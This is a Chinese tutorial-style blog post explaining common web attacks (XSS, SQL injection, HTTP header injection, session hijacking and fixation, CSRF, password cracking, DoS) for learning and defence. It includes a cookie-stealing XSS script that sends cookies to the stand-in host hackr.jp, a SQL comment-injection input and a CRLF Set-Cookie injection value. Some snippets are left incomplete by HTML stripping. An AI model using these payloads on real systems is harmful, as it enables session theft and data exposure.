常见的Web攻击技术

文章目录

  • 前言
      • HTTP 不具备必要的安全功能
      • 在客户端即可篡改请求
      • 针对 Web 应用的攻击模式
  • 因输出值转义不完全引发的安全漏洞
    • 跨站脚本攻击XSS
      • XSS实例
    • SQL 注入攻击
      • 实例
    • HTTP 首部注入攻击
      • HTTP 首部注入攻击案例
      • HTTP 响应截断攻击
  • 因会话管理疏忽引发的安全漏洞
    • 会话劫持
    • 会话固定攻击
    • 跨站点请求伪造CSRF
      • 跨站点请求伪造的攻击案例
  • 其他安全漏洞
    • 密码破解
      • 穷举法
      • 字典攻击
      • 对已加密密码的破解
    • DoS 攻击

前言

互联网上的攻击大都将 Web 站点作为目标。 本章讲解具体有哪些攻击 Web 站点的手段, 以及攻击会造成怎样的影响

简单的 HTTP 协议本身并不存在安全性问题, 因此协议本身几乎不会成为攻击的对象。 应用 HTTP 协议的服务器和客户端, 以及运行在服务器上的 Web 应用等资源才是攻击目标。

HTTP 不具备必要的安全功能

  • 与最初的设计相比, 现今的 Web 网站应用的 HTTP 协议的使用方式已发生了翻天覆地的变化。 几乎现今所有的 Web 网站都会使用会话(session) 管理、 加密处理等安全性方面的功能, 而 HTTP 协议内并不具备这些功能。

  • 从整体上看, HTTP 就是一个通用的单纯协议机制。 因此它具备较多优势, 但是在安全性方面则呈劣势。

    • 就拿远程登录时会用到的 SSH 协议来说, SSH 具备协议级别的认证及会话管理等功能, HTTP 协议则没有。 另外在架设 SSH 服务方面,任何人都可以轻易地创建安全等级高的服务, 而 HTTP 即使已架设好服务器, 但若想提供服务器基础上的 Web 应用, 很多情况下都需要重新开发。
    • 因此, 开发者需要自行设计并开发认证及会话管理功能来满足 Web应用的安全。 而自行设计就意味着会出现各种形形色色的实现。 结果, 安全等级并不完备, 可仍在运作的 Web 应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的 Bug。

在客户端即可篡改请求

  • 在 Web 应用中, 从浏览器那接收到的 HTTP 请求的全部内容, 都可以在客户端自由地变更、 篡改。 所以 Web 应用可能会接收到与预期数据不相同的内容。
  • 在 HTTP 请求报文内加载攻击代码, 就能发起对 Web 应用的攻击。通过 URL查询字段或表单、 HTTP 首部、 Cookie 等途径把攻击代码传入, 若这时 Web 应用存在安全漏洞, 那内部信息就会遭到窃取, 或被攻击者拿到管理权限

常见的Web攻击技术_第1张图片

针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。

  • 主动攻击
  • 被动攻击

以服务器为目标的主动攻击

主动攻击(active attack) 是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。 由于该模式是直接针对服务器上的资源进行攻击, 因此攻击者需要能够访问到那些资源。

  • 主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击

以服务器为目标的被动攻击
被动攻击(passive attack) 是指利用圈套策略执行攻击代码的攻击模式。 在被动攻击过程中, 攻击者不直接对目标 Web 应用访问发起攻击。
被动攻击通常的攻击模式如下所示。

  • 步骤 1: 攻击者诱使用户触发已设置好的陷阱, 而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
  • 步骤 2: 当用户不知不觉中招之后, 用户的浏览器或邮件客户端就会触发这个陷阱。
  • 步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用, 运行攻击代码。
  • 步骤 4: 执行完攻击代码, 存在安全漏洞的 Web 应用会成为攻击者的跳板, 可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。

被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

常见的Web攻击技术_第2张图片

常见的Web攻击技术_第3张图片

  • 企业内网攻破

因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。客户端的验证 Web 应用端( 服务器端) 的验证输入值验证输出值转义

常见的Web攻击技术_第4张图片

  • 多数情况下采用 JavaScript 在客户端验证数据。 可是在客户端允许篡改数据或关闭 JavaScript, 不适合将 JavaScript 验证作为安全的防范对策。 保留客户端验证只是为了尽早地辨识输入错误, 起到提高 UI体验的作用。

  • Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。 输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

  • 从数据库或文件系统、 HTML、 邮件等输出 Web 应用处理的数据之际, 针对输出做值转义处理是一项至关重要的安全策略。 当输出值转义不完全时, 会因触发攻击者传入的攻击代码, 而给输出对象带来损害。

跨站脚本攻击XSS

跨站脚本攻击(Cross-Site Scripting, XSS) 是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。 动态创建的 HTML部分有可能隐藏着安全漏洞。 就这样, 攻击者编写脚本设下陷阱, 用户在自己的浏览器上运行时, 一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的 Cookie 值, 被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

XSS实例

初始XSS

常见的Web攻击技术_第5张图片

此时的确认界面上, 浏览器会把用户输入的 解析成 HTML标签, 然后显示删除线。

  • 删除线显示出来并不会造成太大的不利后果, 但如果换成使用script 标签将会如何呢。
  • XSS 是攻击者利用预先设置的陷阱触发的被动攻击跨站脚本攻击属于被动攻击模式, 因此攻击者会事先布置好用于攻击的陷阱

严重的例子——盗取用户个人信息

常见的Web攻击技术_第6张图片

网站通过地址栏中 URI 的查询字段指定 ID, 即相当于在表单内自动填写字符串的功能。 而就在这个地方, 隐藏着可执行跨站脚本攻击的漏洞。

对请求时对应的HTML源代码(摘录)

<div class="logo">
	<img src="/img/logo.gif" alt="E! 拍卖会" />
div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
	ID <input type="text" name="ID" value="yama" />
div>

充分熟知此处漏洞特点的攻击者, 于是就创建了下面这段嵌入恶意代码的 URL。 并隐藏植入事先准备好的欺诈邮件中或 Web 页面内, 诱使用户去点击该 URL。

http://example.jp/login?ID= ">  

浏览器打开该 URI 后, 直观感觉没有发生任何变化, 但设置好的脚本却偷偷开始运行了。 当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp) , 导致个人登录信息被窃取

对用户 Cookie 的窃取攻击

除了在表单中设下圈套之外, 下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式, 窃取到用户的 Cookie 信息。

该脚本内指定的 http://hackr.jp/xss.js 文件。 即下面这段采用JavaScript 编写的代码。

var content = escape(document.cookie);
document.write(");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序, 即可访问到该 Web 应用所处域名下的 Cookie 信息。 然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/) , 记录在他的登录日志中。 结果, 攻击者就这样窃取到用户的 Cookie 信息了。

常见的Web攻击技术_第7张图片

SQL 注入攻击

SQL注入(SQL Injection) 是指针对 Web 应用使用的数据库, 通过运行非法的 SQL而产生的攻击。 该安全隐患有可能引发极大的威胁, 有时会直接导致个人信息及机密信息的泄露。
Web 应用通常都会用到数据库, 当需要对数据库表内的数据进行检索或添加、 删除等操作时, 会使用 SQL语句连接数据库进行特定的操作。 如果在调用 SQL语句的方式上存在疏漏, 就有可能执行被恶意注入(Injection) 非法 SQL语句。

SQL注入攻击有可能会造成以下等影响

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等

实例

常见的Web攻击技术_第8张图片

  • 我们要进行搜索关于上野宣相关的数据,并且是满足可以销售的
    • SELECT * FROM bookTbl WHERE author = ‘上野宣’ and flag = 1 用这句SQL搜索出对对应的数据
  • 但是如果对SQL语句做手脚,也就是对q进行做手脚 q=上野宣’ - - ,如果不做处理,后端对应的SQL语句为
    • SELECT * FROM bookTbl WHERE author =‘上野宣’ - -’ and flag=1;
    • SQL语句中的 – 之后全视为注释。 即, and flag=1 这个条件被自动忽略了。 也就会显示那些不可销售的书籍

常见的Web攻击技术_第9张图片

本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生 SQL注入攻击时, 很有可能会导致用户信息或结算内容等其他数据表的非法浏览及篡改, 从而使用户遭受不同程度的损失。

HTTP 首部注入攻击

HTTP 首部注入攻击(HTTP Header Injection) 是指攻击者通过在响应首部字段内插入换行, 添加任意响应首部或主体的一种攻击。 属于被动攻击模式。向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTPResponse Splitting Attack) 。
如下所示, Web 应用有时会把从外部接收到的数值, 赋给响应首部字段 Location 和 Set-Cookie。

  • Location: http://www.example.com/a.cgi?q=12345
  • Set-Cookie: UID=12345

HTTP 首部注入可能像这样, 通过在某些响应首部字段需要处理输出值的地方, 插入换行发动攻击。

HTTP 首部注入攻击有可能会造成以下一些影响。

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意的主体( HTTP 响应截断攻击)

HTTP 首部注入攻击案例

  • 下面我们以选定某个类别后即可跳转至各类别对应页面的功能为
  • 讲解 HTTP 首部注入攻击。 该功能为每个类别都设定了一个类别 ID 值, 一旦选定某类别, 就会将该 ID 值反映在响应内的Location 首部字段内, 形如 Location: http://example.com/?cat=101。 令浏览器发生重定向跳转。

常见的Web攻击技术_第10张图片

攻击者以下面的内容替代之前的类别 ID 后发送请求。

  • 101%0D%0ASet-Cookie:+SID=123456789
    • 其中, %0D%0A 代表 HTTP 报文中的换行符, 紧接着的是可强制将攻击者网站(http://hackr.jp/) 的会话 ID 设置成SID=123456789 的 Set-Cookie 首部字段。
  • 发送该请求之后, 假设结果返回以下响应。
- Location: http://example.com/?cat=101(%0D%0A : 换行符)
- Set-Cookie: SID=123456789

此刻, 首部字段 Set-Cookie 已生效, 因此攻击者可指定修改任意的 Cookie 信息。 通过和会话固定攻击(攻击者可使用指定的会话 ID) 攻击组合, 攻击者可伪装成用户。攻击者输入的 %0D%0A, 原本应该属于首部字段 Location 的查询值部分, 但经过解析后, %0D%0A 变成了换行符, 结果插入了新的首部字段。这样一来, 攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。 攻击顺序相同, 但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。 利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了, 这样就能显示伪造的主体, 达到攻击目的。 这样的攻击叫做 HTTP 响应截断攻击。

  • %0D%0A%0D%0A </code>之后, 想要显示的网页内容</li> <li>在可能进行 HTTP 首部注入的环节, 通过发送上面的字符串, 返回结果得到以下这种响应。</li> </ul> <pre><code class="prism language-HTTP">- Set-Cookie: UID=(%0D%0A : 换行符) - (%0D%0A : 换行符) - <HTML><HEAD><TITLE>之后, 想要显示的网页内容 <!--(原来页面对应的首部字 </code></pre> <ul> <li>利用这个攻击, 已触发陷阱的用户浏览器会显示伪造的 Web 页面, 再让用户输入自己的个人信息等, 可达到和跨站脚本攻击相同的效果。</li> <li>另外, 滥用 HTTP/1.1 中汇集多响应返回功能, 会导致缓存服务器对任意内容进行缓存操作。 这种攻击称为缓存污染。 使用该缓存服务器的用户, 在浏览遭受攻击的网站时, 会不断地浏览被替换掉的 Web 网页。</li> </ul> <h1>因会话管理疏忽引发的安全漏洞</h1> <h2>会话劫持</h2> <p>会话劫持(Session Hijack) 是指攻击者通过某种手段拿到了用户的会话 ID, 并非法使用此会话 ID 伪装成用户, 达到攻击的目的</p> <p><a href="http://img.e-com-net.com/image/info8/d504cec6898c43b0b8a887f189d43ea4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d504cec6898c43b0b8a887f189d43ea4.jpg" alt="常见的Web攻击技术_第11张图片" width="650" height="336" style="border:1px solid black;"></a>。<br> 具备认证功能的 Web 应用, 使用会话 ID 的会话管理机制, 作为管理认证状态的主流方式。 会话 ID 中记录客户端的 Cookie 等信息, 服务器端将会话 ID 与认证状态进行一对一匹配管理。<br> 下面列举了几种攻击者可获得会话 ID 的途径。</p> <ul> <li>通过非正规的生成方法推测会话 ID</li> <li>通过窃听或 XSS 攻击盗取会话 ID</li> <li>通过会话固定攻击( Session Fixation) 强行获取会话 ID</li> </ul> <p><strong>会话劫持攻击案例</strong></p> <p>我们以认证功能为例讲解会话劫持。 这里的认证功能通过会话管理机制, 会将成功认证的用户的会话 ID(SID) 保存在用户浏览器的 Cookie 中。</p> <p><a href="http://img.e-com-net.com/image/info8/f3d8327d6b63480cb314623bd18ff9a6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f3d8327d6b63480cb314623bd18ff9a6.jpg" alt="常见的Web攻击技术_第12张图片" width="650" height="388" style="border:1px solid black;"></a></p> <ul> <li>攻击者在得知该 Web 网站存在可跨站攻击(XSS) 的安全漏洞后, 就设置好用 JavaScript 脚本调用 document.cookie 以窃取Cookie 信息的陷阱, 一旦用户踏入陷阱(访问了该脚本) , 攻击者就能获取含有会话 ID 的 Cookie。</li> <li>攻击者拿到用户的会话 ID 后, 往自己的浏览器的 Cookie 中设置该会话 ID, 即可伪装成会话 ID 遭窃的用户, 访问 Web 网站了。</li> </ul> <h2>会话固定攻击</h2> <p>对以窃取目标会话 ID 为主动攻击手段的会话劫持而言, 会话固定攻击(Session Fixation) 攻击会<strong>强制用户使用攻击者指定的会话 ID</strong>, 属于被动攻击。</p> <p><strong>会话固定攻击案例</strong><br> 这个 Web 网站的认证功能, 会在认证前发布一个会话 ID, 若认证成功, 就会在服务器内改变认证状态。<br> <a href="http://img.e-com-net.com/image/info8/b357f0d17c7648fe9a52419dd0a9f31f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b357f0d17c7648fe9a52419dd0a9f31f.jpg" alt="常见的Web攻击技术_第13张图片" width="650" height="373" style="border:1px solid black;"></a></p> <ul> <li>攻击者准备陷阱, 先访问 Web 网站拿到会话ID(SID=f5d1278e8109) 。 此刻, 会话 ID 在服务器上的记录仍是(未认证) 状态。 (步骤① ~ ②)</li> <li>攻击者设置好强制用户使用该会话 ID 的陷阱, 并等待用户拿着这个会话 ID 前去认证。 一旦用户触发陷阱并完成认证, 会话ID(SID=f5d1278e8109) 在服务器上的状态(用户 A 已认证) 就会被记录下来。 (步骤③)</li> <li>攻击者估计用户差不多已触发陷阱后, 再利用之前这个会话 ID访问网站。 由于该会话 ID 目前已是(用户 A 已认证) 状态, 于是攻击者作为用户 A 的身份顺利登录网站。 (步骤④)</li> </ul> <p>Session Adoption</p> <ul> <li>Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID的功能。恶意使用该功能便可跳过会话固定攻击的准备阶段, 从 Web 网站 获得发行的会话 ID 的步骤。 即, 攻击者可私自创建会话 ID构成陷阱, 中间件却会误以为该会话 ID 是未知会话 ID 而接受。</li> </ul> <h2>跨站点请求伪造CSRF</h2> <p>跨站点请求伪造(Cross-Site Request Forgeries, CSRF) 攻击是指攻击者通过设置好的陷阱, 强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新, 属于被动攻击。<br> 跨站点请求伪造有可能会造成以下等影响。</p> <ul> <li>利用已通过认证的用户权限更新设定信息等</li> <li>利用已通过认证的用户权限购买商品</li> <li>利用已通过认证的用户权限在留言板上发表言论</li> </ul> <h3>跨站点请求伪造的攻击案例</h3> <p>下面以留言板功能为例, 讲解跨站点请求伪造。 该功能只允许已认证并登录的用户在留言板上发表内容。</p> <p><a href="http://img.e-com-net.com/image/info8/efe4a3cc24dc400fb3cd6a4e63abe7b4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/efe4a3cc24dc400fb3cd6a4e63abe7b4.jpg" alt="常见的Web攻击技术_第14张图片" width="650" height="421" style="border:1px solid black;"></a></p> <ul> <li>在该留言板系统上, 受害者用户 A 是已认证状态。 它的浏览器中的 Cookie 持有已认证的会话 ID(步骤①) 。</li> <li>攻击者设置好一旦用户访问, 即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。 用户 A 的浏览器执行完陷阱中的请求后, 留言板上也就会留下那条评论(步骤②) 。</li> <li>触发陷阱之际, 如果用户 A 尚未通过认证, 则无法利用用户 A的身份权限在留言板上发表内容</li> </ul> <h1>其他安全漏洞</h1> <h2>密码破解</h2> <p>密码破解攻击(Password Cracking) 即算出密码, 突破认证。 攻击不仅限于 Web 应用, 还包括其他的系统(如 FTP 或 SSH 等) , 本节将会讲解对具备认证功能的 Web 应用进行的密码破解。<br> 密码破解有以下两种手段。</p> <ul> <li>通过网络的密码试错</li> <li>对已加密密码的破解( 指攻击者入侵系统, 已获得加密或散列处理的密码数据的情况)</li> <li>除去突破认证的攻击手段, 还有 SQL注入攻击逃避认证, 跨站脚本攻击窃取密码信息等方法。</li> </ul> <p><strong>通过网络进行密码试错</strong></p> <p>对 Web 应用提供的认证功能, 通过网络尝试候选密码进行的一种攻击。 主要有以下两种方式。</p> <ul> <li>穷举法</li> <li>字典攻击</li> </ul> <h3>穷举法</h3> <ul> <li>穷举法(Brute-force Attack, 又称暴力破解法) 是指对所有密钥集合构成的密钥空间(Keyspace) 进行穷举。 即, 用所有可行的候选密码对目标的密码系统试错, 用以突破验证的一种攻击。 <ul> <li>比如银行采用的个人识别码是由“4 位数字”组成的密码, 那么就要从 0000~9999 中的全部数字逐个进行尝试。 这样一来, 必定在候选的密码集合中存在一个正确的密码, 可通过认证。</li> </ul> </li> <li>因为穷举法会尝试所有的候选密码, 所以是一种必然能够破解密码的攻击。 但是, 当密钥空间很庞大时, 解密可能需要花费数年, 甚至千年的时间, 因此从现实角度考量, 攻击是失败的。</li> </ul> <h3>字典攻击</h3> <ul> <li>字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典) , 枚举字典中的密码, 尝试通过认证的一种攻击手法。 <ul> <li>还是举银行采用个人识别码是“4 位数字”的密码的例子, 考虑到用户使用自己的生日做密码的可能性较高, 于是就可以把生日日期数值化, 如将 0101~1231 保存成字典, 进行尝试。</li> </ul> </li> <li>与穷举法相比, 由于需要尝试的候选密码较少, 意味着攻击耗费的时间比较短。 但是, 如果字典中没有正确的密码, 那就无法破解成功。 因此攻击的成败取决于字典的内容。</li> </ul> <p><a href="http://img.e-com-net.com/image/info8/7420cc6f8d584a578dcb004698be627d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/7420cc6f8d584a578dcb004698be627d.jpg" alt="常见的Web攻击技术_第15张图片" width="650" height="444" style="border:1px solid black;"></a></p> <blockquote> <p>利用别处泄露的 ID·密码进行攻击字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的攻击。 很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码, 因此攻击会有相当高的成功几率</p> </blockquote> <h3>对已加密密码的破解</h3> <p>Web 应用在保存密码时, 一般不会直接以明文的方式保存, 通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据, 如果想要真正使用这些密码, 则必须先通过解码等手段, 把加密处理的密码还原成明文形式。</p> <p><a href="http://img.e-com-net.com/image/info8/787a19efde59496d9d037b6a68c55302.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/787a19efde59496d9d037b6a68c55302.jpg" alt="常见的Web攻击技术_第16张图片" width="650" height="336" style="border:1px solid black;"></a><br> 从加密过的数据中导出明文通常有以下几种方法。</p> <ul> <li> <p>通过穷举法·字典攻击进行类推</p> </li> <li> <p>彩虹表</p> </li> <li> <p>拿到密钥</p> </li> <li> <p>加密算法的漏洞</p> </li> </ul> <p><strong>通过穷举法·字典攻击进行类推</strong></p> <ul> <li>针对密码使用散列函数进行加密处理的情况, 采用和穷举法或字典攻击相同的手法, 尝试调用相同的散列函数加密候选密码, 然后把计算出的散列值与目标散列值匹配, 类推出密码。</li> </ul> <p><a href="http://img.e-com-net.com/image/info8/da6f6341dc314d27b9230345301d9fe7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/da6f6341dc314d27b9230345301d9fe7.jpg" alt="常见的Web攻击技术_第17张图片" width="650" height="333" style="border:1px solid black;"></a></p> <p><strong>彩虹表</strong><br> 彩虹表(Rainbow Table) 是由明文密码及与之对应的散列值构成的一张数据库表, 是一种通过事先制作庞大的彩虹表, 可在穷举法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。 从彩虹表内搜索散列值就可以推导出对应的明文密码</p> <p><a href="http://img.e-com-net.com/image/info8/2a1efef06c2e40e7919c2de541b926e4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/2a1efef06c2e40e7919c2de541b926e4.jpg" alt="常见的Web攻击技术_第18张图片" width="650" height="213" style="border:1px solid black;"></a></p> <p><strong>拿到密钥</strong><br> 使用共享密钥加密方式对密码数据进行加密处理的情况下, 如果能通过某种手段拿到加密使用的密钥, 也就可以对密码数据解密了。<br> <strong>加密算法的漏洞</strong><br> 考虑到加密算法本身可能存在的漏洞, 利用该漏洞尝试解密也是一种可行的方法。 但是要找到那些已广泛使用的加密算法的漏洞, 又谈何容易, 因此困难极大, 不易成功。而 Web 应用开发者独立实现的加密算法, 想必尚未经过充分的验证, 还是很有可能存在漏洞的</p> <h2>DoS 攻击</h2> <p>DoS 攻击(Denial of Service attack) 是一种让运行中的服务呈停止状态的攻击。 有时也叫做服务停止攻击或拒绝服务攻击。 DoS 攻击的对象不仅限于 Web 网站, 还包括网络设备及服务器等。<br> 主要有以下两种 DoS 攻击方式。</p> <ul> <li> <p>集中利用访问请求造成资源过载, 资源用尽的同时, 实际上服务也就呈停止状态。</p> </li> <li> <p>通过攻击安全漏洞使服务停止。</p> </li> </ul> <p>其中, 集中利用访问请求的 DoS 攻击, 单纯来讲就是发送大量的合法请求。 服务器很难分辨何为正常请求, 何为攻击请求, 因此很难防止 DoS 攻击。</p> <p><a href="http://img.e-com-net.com/image/info8/83f09746c6e84349a8e96de5f48c7c58.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/83f09746c6e84349a8e96de5f48c7c58.jpg" alt="常见的Web攻击技术_第19张图片" width="650" height="353" style="border:1px solid black;"></a></p> <ul> <li>多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial ofService attack) 。 <strong>DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。</strong></li> </ul> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1648719816644657152"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(网络通信,前端,服务器,网络)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1950232190038110208.htm" title="day15|前端框架学习和算法" target="_blank">day15|前端框架学习和算法</a> <span class="text-muted">universe_01</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a> <div>T22括号生成先把所有情况都画出来,然后(在满足什么情况下)把不符合条件的删除。T78子集要画树状图,把思路清晰。可以用暴力法、回溯法和DFS做这个题DFS深度搜索:每个边都走完,再回溯应用:二叉树搜索,图搜索回溯算法=DFS+剪枝T200岛屿数量(非常经典BFS宽度把树状转化成队列形式,lambda匿名函数“一次性的小函数,没有名字”setup语法糖:让代码更简洁好写的语法ref创建:基本类型的</div> </li> <li><a href="/article/1950228032513961984.htm" title="ARM 和 AMD 架构的区别" target="_blank">ARM 和 AMD 架构的区别</a> <span class="text-muted">m0_69576880</span> <a class="tag" taget="_blank" href="/search/arm%E5%BC%80%E5%8F%91/1.htm">arm开发</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a> <div>ARM架构和AMD架构是两种不同的计算机处理器架构,它们有以下几个主要区别:设计出发点、兼容性、性能特点、市场定价。设计出发点:①ARM构架:ARM架构最初是为嵌入式系统设计的,旨在提供低功耗和高效能的解决方案。它主要应用于移动设备、嵌入式系统和物联网设备②AMD架构:AMD架构是基于x86架构的扩展,旨在提供与Intel架构兼容的处理器。它主要用于台式机、服务器和工作站等计算机系统。兼容性:AR</div> </li> <li><a href="/article/1950225255079407616.htm" title="企业级区块链平台Hyperchain核心原理剖析" target="_blank">企业级区块链平台Hyperchain核心原理剖析</a> <span class="text-muted">boyedu</span> <a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E7%BA%A7%E5%8C%BA%E5%9D%97%E9%93%BE%E5%B9%B3%E5%8F%B0/1.htm">企业级区块链平台</a><a class="tag" taget="_blank" href="/search/Hyperchain/1.htm">Hyperchain</a> <div>Hyperchain作为国产自主可控的企业级联盟区块链平台,其核心原理围绕高性能共识、隐私保护、智能合约引擎及可扩展架构展开,通过多模块协同实现企业级区块链网络的高效部署与安全运行。以下从核心架构、关键技术、性能优化、安全机制、应用场景五个维度展开剖析:一、核心架构:分层解耦与模块化设计Hyperchain采用分层架构,将区块链功能解耦为独立模块,支持灵活组合与扩展:P2P网络层由验证节点(VP)</div> </li> <li><a href="/article/1950222990553706496.htm" title="可处理!环境排放3.0项目怎么提现?裕华投资会刘裕华免费荐股骗局曝光!" target="_blank">可处理!环境排放3.0项目怎么提现?裕华投资会刘裕华免费荐股骗局曝光!</a> <span class="text-muted">墨守成法</span> <div>骗子冒充裕华投资会刘裕华通过伪造或仿冒投资平台,向股民发送虚假环境排放3.0项目链接,引导股民者下载进行投资,以送一万体验金操作小额投资能提现作为诱饵,不断引导消费者加大资金投入。不法分子随后迅速转移资金,当投资者要提现时候就以“流水未完成”“登录异常”“服务器维护”“比赛未结束”等借口不让提现,直到平台关闭跑了或者完成流水任务为由一波亏完。在以翻本为借口继续让投资者加入资金。若你不幸遭遇到裕华投</div> </li> <li><a href="/article/1950219924043526144.htm" title="二十四节气组诗 谷雨" target="_blank">二十四节气组诗 谷雨</a> <span class="text-muted">离陌_6639</span> <div>图片来源网络,若侵犯了你的权益,请联系我删除6.谷雨文/离陌背上行囊背上如行囊的我从此任行程马不停蹄今天家乡的田野春雨快马加鞭播下希望的种子观音不语目送着我和夏天一道在观音山出关图片来源网络,若侵犯了你的权益,请联系我删除你好啊,我是离陌,已然在懵懂中走过了16年的岁月,为了珍惜当下的每一秒,所以立志做一名终身学习者。文学对于我来说是一种信仰,诗歌是我的生命。人生之道,四通八达,即入文学,自当持之</div> </li> <li><a href="/article/1950218817753903104.htm" title="【项目实战】 容错机制与故障恢复:保障系统连续性的核心体系" target="_blank">【项目实战】 容错机制与故障恢复:保障系统连续性的核心体系</a> <span class="text-muted">本本本添哥</span> <a class="tag" taget="_blank" href="/search/004/1.htm">004</a><a class="tag" taget="_blank" href="/search/-/1.htm">-</a><a class="tag" taget="_blank" href="/search/%E7%A0%94%E6%95%88%E4%B8%8EDevOps%E8%BF%90%E7%BB%B4%E5%B7%A5%E5%85%B7%E9%93%BE/1.htm">研效与DevOps运维工具链</a><a class="tag" taget="_blank" href="/search/002/1.htm">002</a><a class="tag" taget="_blank" href="/search/-/1.htm">-</a><a class="tag" taget="_blank" href="/search/%E8%BF%9B%E9%98%B6%E5%BC%80%E5%8F%91%E8%83%BD%E5%8A%9B/1.htm">进阶开发能力</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a> <div>在分布式系统中,硬件故障、网络波动、软件异常等问题难以避免。容错机制与故障恢复的核心目标是:通过主动检测故障、自动隔离风险、快速转移负载、重建数据一致性,最大限度减少故障对业务的影响,保障系统“持续可用”与“数据不丢失”。以下从核心机制、实现方式、典型案例等维度展开说明。一、故障检测:及时发现异常节点故障检测是容错的第一步,需通过多维度手段实时感知系统组件状态,确保故障被快速识别。1.健康检查与心</div> </li> <li><a href="/article/1950215036291051520.htm" title="北斗短报文兜底、5G-A增强:AORO P1100三防平板构建应急通信网络" target="_blank">北斗短报文兜底、5G-A增强:AORO P1100三防平板构建应急通信网络</a> <span class="text-muted"></span> <div>公网中断的灾区现场,泥石流阻断了最后一条光缆。一支救援队却在废墟间有序穿行,队长手中的三防平板正闪烁着北斗卫星信号,定位坐标与伤亡信息化作一行行短报文,穿透通信孤岛直达指挥中心。这是AOROP1100三防平板搭载的北斗短报文功能在应急救援中的真实场景,更代表了工业移动终端在极端环境下的能力跃迁。AOROP1100三防平板作为遨游通讯2025年推出的旗舰三防设备,AOROP1100三防平板的技术基底</div> </li> <li><a href="/article/1950213901765373952.htm" title="7月29日星期二今日早报简报微语报早读" target="_blank">7月29日星期二今日早报简报微语报早读</a> <span class="text-muted">微语早读</span> <a class="tag" taget="_blank" href="/search/%E7%94%9F%E6%B4%BB/1.htm">生活</a> 